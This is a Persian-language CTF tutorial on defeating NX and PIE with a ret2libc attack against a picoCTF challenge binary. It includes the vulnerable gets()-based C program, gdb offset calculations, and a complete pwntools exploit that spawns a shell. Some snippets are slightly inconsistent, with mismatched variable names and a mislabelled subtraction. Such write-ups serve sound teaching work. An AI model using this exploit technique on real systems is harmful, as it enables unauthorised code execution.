Bypass NX-PIE with Ret2Libc

photo_2019-06-29_05-20-50
#Bypass NX-PIE with Ret2Libc
یکی از مشکلاتی که هنگام اکسپلویت کردن یک نرم افزار پیش می آید،بیت nx هستش.در واقع این یک قانون ساده برای باینری فایل های لینوکس (elf) تعیین می کند که به هیچ وجه به روی stack هیچ دستوری اجرا نشود،خب با این حال ما نمی توانیم از شلکد استفاده کنیم!،پس چیکار کنیم؟‌یکی از این راه های که برای دور زدن این محدودیت استفاده می شود بازگشت به کتابخانه libc است,

بلای دیگری که هم وجود دارد pie هستش که آدرس کد های تو حافظه رو رندم می کنه و دسترسی به توابع رو کمی سخت می کنه,با این شروع کنیم که libc چی هست اصلا!اگر به man پیج libc نگاه کنیم می بینیم که نوشته اصطلاح libc به صورت گسترده به جای مخفف standard C libarary استفاده می شود.

#Author: @l14ck3r0x01
@Unk9vvN

در واقع کتابخانه استاندارد سی دارای تمام توابع استانداری است که در برنامه های سی استفاده می شوند، توابعی همچون printf , system و …

برای درک بیشتر این موضوع یک برنامه ساده C را بدون هیچ include می نویسیم و کامپایل می کنیم و با دستور ldd می توانیم چک کنیم که به چه کتابخانه های لینک شده،و همانطور که می بینید به صورت خودکار کتابخانه libc به برنامه ما لینک شده، و دلیل استفاده از libc هم برای دور زدن محدودیت همین ویژگی است،یعنی اینکه در بدترین شرایط هم ما می توانیم از کتابخانه libc استفاده کنیم…

$ nano test.c‍
# Added

int main(){ printf(“Hello sia”); }

# Ctrl+x -> y -> Enter

$ gcc test.c -o test
$ ldd test
linux-vdso.so.1 (0x00007ffde954f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f89717b7000)
/lib64/ld-linux-x86-64.so.2 (0x00007f89719be000)

اما سوالی که اینجا پیش می آید این است که چطور از libc استفاده کنیم؟
چیز جالب تری هم که اینجا وجود دارد این است که با هر بار زدن دستور ldd test آدرس پایه libc تغیر می کند.(ASLR)

ما با aslr کاری نداریم فعلا !
با کمی گوگل کردن و سوال پرسیدن می توانیم در یابیم که هنگام اجرای یک برنامه کتابخانه های که مورد نیاز یک برنامه در پایین ترین قسمت حافظه که به code هم معروف است قرار می گیرد و برای برنامه قابل استفاده است …

وقتی تابعی در برنامه فراخوانی می شود eip برابر با آدرس تابع قرار می گیرد و تابع اجرا می شود… و این موضوع هم برای توابع کتابخانه ای ثابت است و وقتی بتوانیم آدرس eip را باز نویسی کنیم ، می توانیم تابع دلخواه خود را اجرا کنیم،‌که در این مثال می خواهیم ما تابع system رو برای در اجرای دستور دلخواه خود فراخوانی کنیم…

خب کمی هم در مورد PIE حرف بزنیم،اول اینکه با ASLR چند شباهت و تفاوت دارند،‌اولین شباهتشون اینه که کار هر دو رندم کردن مکان های از حافظه هستش و تفاوتشون این است که ASLR استک رو رندم می کنم و PIE آدرس های بخش code رو رندم می کنه!

دور زدن PIE فقط یه محاسبه کوچک به اضافه و منها می خواد که اول با این شروع می کنیم,در آغاز برنامه رو که می خواییم اکسپلویت کنیم رو هم یه نگاه بندازیم,برنامه ما یکی از چالش های picoCTF در بخش binary explotion با 250 امتیاز می باشد…

$ cat vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
char useful_string[16] = “/bin/sh”;

void vuln(){
char buf[BUFSIZE];
puts(“Enter a string:”);
gets(buf);
puts(buf);
puts(“Thanks! Exiting now…”);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
puts(“Here are some useful addresses:\n”);

printf(“puts: %p\n”, puts);
printf(“fflush %p\n”, fflush);
printf(“read: %p\n”, read);
printf(“write: %p\n”, write);
printf(“useful_string: %p\n”, useful_string);
printf(“\n”);
vuln();
return 0;
}

با کمی بررسی می تونیم ببینیم که در تابع main آدرس چند تا از توابع استاندار c رو برای ما نمایش می ده بعدش تابع آسیب پزیر رو فراخوانی می کنه,(همه ما می دونیم که باعث تمام این خرابی ها تابع gets هست و اونایی هم که نمی دونن در موردش بخونن،چون حرف زدن در این مورد خارج از حوصله این بحث است.)

و یک متغیر دیگر هم وجود دارد که دارای رشته bin/sh/ برای اجرا کردن یه شل می باشد,برنامه رو با آپشن m32- کامپایل می کنیم که مطمئن بشیم که ۳۲ بیت خواهد بود,

$ gcc -m32 vuln.c -o vuln
$ gdb vuln

یک نقطه توقف بر روی تابع main می زاریم و برنامه رو اجرا می کنیم و درخواست آدرس تابع system رو می کنیم

(gdb) br main
(gdb) r
(gdb) x system
0xf7deec00 <system>: 0x0f9568e8

آدرس 0xf7deec00 می باشد اما مشکل اینجاست که PIE در هر بار اجرا این آدرس رو عوض می کنه و تنها راه ما این است که فاصله آن را با یکی از توابعی که در ابتدای برنامه نمایش داده می شود محاسبه کرد و بعد از آن دوباره با همین فاصله بتوان آدرس دقیق آن را پیدا کرد, من تابع puts رو انتخاب می کنم و آدرس اون هم پیدا می کنم و بعد از تفریق از همدیگر می تونیم فاصله رو پیدا کنیم

(gdb) x puts
0xf7e192c0 <puts>: 0x57e58955
(gdb) quit

$ python
>>> 0xf7deec00 – 0xf7e192c0 # puts – system
-173760

می بینیم که فاصله دو تابع از همدیگر مقدارش 173760 هستش,حالا وقت این است با استفاده از کتابخانه pwn و با زبان python اکسپلویت خودمون رو بنویسیم,اول از همه باید مکانی که در آن می توانیم eip رو بازنویسی کنیم رو پیدا کنیم این کار را می توانیم به صورت دستی پیدا کنیم یا اینکه یک تابع ساده بنویسیم که اینکار را برای ما انجام دهد,

$ nano exploit.py
# Added

#!/usr/bin/env python
from pwn import *
import time

def getEIPoffset(elf):
proc = elf.process()
proc.sendline(cyclic(300))
time.sleep(1)
corefile = proc.corefile
eip_value = corefile.registers[‘eip’]
offset = cyclic_find(eip_value)
return offset

# Ctrl+x -> y -> Enter

تابع ما یه elf دریافت می کنه اون رو پروسس می کنه و بعد با فرستادن یه پترن ۳۰۰ عددی به برنامه باعث شکست برنامه می شه که از طریق فایل core (بعد از شکست یک برنامه تحت دیباگر درست می شه و جزئیات برنامه هنگام شکست در آن وجود دارد) می توانیم مقدار رجیستر eip رو پیدا کنیم و با تابع cyclic_find مکان اون رو پیدا کنیم و اون رو retrun می کنیم.دلیل استفاده از sleep هم این است که فایل core به درستی درست شود اگر این خط را حذف کنید می بینید که بعد از ۲ روز هم اکسپلویت اجرا نخواهد شد

اما یه سوال دیگه هم اینجا پیش می آید که اگر آدرس eip رو با آدرس system هم بازنویسی کنیم خب چطوری به تابع پارامتر بفرستیم!؟خب بعد از اینکه آدرسس eip بازنویسی شد بعد از اون ۴ بایت junk میزاریم و بعد از اون هم پارمتر های تابع دقیقا به شکل زیر

system + ‘Junk’ + params

در واقع ۴ بایت junk که ما گذاشتیم قرار است بعد از اتمام کار تابع system برنامه به آدرس بعد از تابع (همان junk ما)رجوع می کنه و فرایند اونجا ادامه پیدا می کنه و چون این برای ما مهم نیست پس ۴ بایت دلخواه در آن می نویسیم.در واقع این زمانی مهم می شود که شما بخواید فراخوانی ها رو زنجیره ای کنید,پس چند خط زیر را هم به فایل exploit.py اضافه می کنیم.

elf = ELF(‘./vuln’)
eip_write_offset = getEIPoffset(elf)
log.info(“EIP offset at %d” % eip_write_addr)
system_puts_offset = 173760

در خط اول فایل elf رو وارد کردم،و اون رو به تابع خودمون فرستادم تا افست eip رو برای ما پیدا کنه و بعد اون رو با توابع درون ساخت pwn رو صفحه لاگ کردم و بعد هم فاصله puts و system رو که در بالاتر به دست آوردیم رو به یه متغیر دادم.

حالا باید برنامه رو اجرا کنیم و آدرس puts رو در اون اجرا پیدا کنیم تا با یه محاسبه ساده آدرس system رو هم پیدا کنیم،چون PIE عزیز با هر بار اجرا آدرس ها رو تغیر می ده!خب اگر برنامه رو اجرا کنید می بینید که خودش آن را برای ما چاپ می کند,فقط ما باید آن را جدا کنیم که در اینجا کتابخانه re به کمک ما می آید,

import re

p = elf.process()
prompt = p.recv()

puts_address = int(re.findall(‘puts: (.*)’,prompt)[0],16)
bin_sh = int(re.findall(‘useful_string: (.*)’,prompt)[0],16)
log.info(“puts_address address at %s” % hex(puts_address))
log.info(“bin_sh address at %s” % hex(bin_sh))

خب من دوباره برنامه رو اجرا کردم و خروجی اون رو در متغیر prompt ریختم و با استفاده از متود findall از ماژول re قسمت های مورد نظر خودم رو جدا کردم و چون نوع آنها str ای است من به int تبدیل کردم و بعد هم چاپشون کردم,حالا بیاید پیلود خود را بچینیم و همچنین آدرس system رو محاسبه کنیم و کار رو به پایان می رسانیم,

system_addr = puts_address – system_puts_offset
payload = “”
payload += eip_write_offset * “s” # create junk bytes
payload += p32(system_addr)
payload += “Junk”
payload += p32(bin_sh)
p.sendline(payload)
p.interactive()

بعد از محاسبه آدرس system اومدیم و به اندازه متغیر eip_write_offset بایت اضافه می نویسیم تا بتونیم به eip دسترسی داشته باشیم،بعد از اون آدرس تابع system و ۴ بایت اضافه و در آخر هر هم آدرس رشته bin/sh/ که خود برنامه به ما داده رو به عنوان آرگومان به تابع فرستادم تا اونو اجرا کنه،در خط بعدی پیلود رو برنامه فرستادم و اجرای برنامه رو به صورت تعاملی به کاربر بازگشت دادم،

من روی system_addr و bin_sh یک تابع فراخونی کردم،‌ کار اصلی این تابع این است که بر اساس آپشن های که بهش داده می شه آدرس ها رو با فرمت big-endian یا little-endian به شما می ده که به صورت پیش فرض little-endian هستش و اینم بگم که چون برنامه ما ۳۲ بیت بود به همین خاطر p32 رو انتخاب کردم(نسخه ۶۴ بیت آن با اسم p64 موجود است)،دلیل استفاده از این توابع این است که آدرس های مد نظر ما به درستی در حافظه قرار بگیرن,اکسپلویت نهایی ما به این صورت می باشد

#!/usr/bin/env python
from pwn import *
import time
import re

def getEIPoffset(elf):
proc = elf.process()
proc.sendline(cyclic(300))
time.sleep(1)
corefile = proc.corefile
eip_value = corefile.registers[‘eip’]
offset = cyclic_find(eip_value)
return offset
elf = ELF(‘./vuln’)
eip_write_addr = getEIPoffset(elf)
log.info(“EIP offset at %d” % eip_write_addr)

system_puts_offset = 173760

p = elf.process()
prompt = p.recv()

puts_address = int(re.findall(‘puts: (.*)’,prompt)[0],16)
bin_sh = int(re.findall(‘useful_string: (.*)’,prompt)[0],16)
log.info(“puts_address address at %s” % hex(puts_address))
log.info(“bin_sh address at %s” % hex(bin_sh))

system_addr = puts_address – system_puts_offset
payload = “”
payload += eip_write_addr * “s” # create junk bytes
payload += p32(system_addr)
payload += “Junk”
payload += p32(bin_sh)
p.sendline(payload)
p.interactive()

با دستورات زیر فایل رو اجرایی می کنیم و اون رو اجرا می کنیم,

$ chmod +x exploit.py;./exploit.py

و بعد از تمام شدن کار می تونید ببینید که شل برقرار هستش 🙂 اما این چند نکته رو هم اینجا بگم که تمام آدرس ها و افست ها به ریلیز سیستم عامل و libc بستگی داره و متفاوت با اعداد من خواهند بود و اینم بگم که همیشه لازم نیست که شما آدرس دو تابع رو بدونید ، یکی از اون ها کافیه و می تونید با سایت های مثل https://libc.blukat.me در دیتابیس ها بگردین و آدرس تابع های مفید دیگر رو هم پیدا کنید و این که فاصله یا همان offset تابع مورد نظرتون رو با آدرس پایه یا همان base addresss کتابخانه libc محاسبه کنید.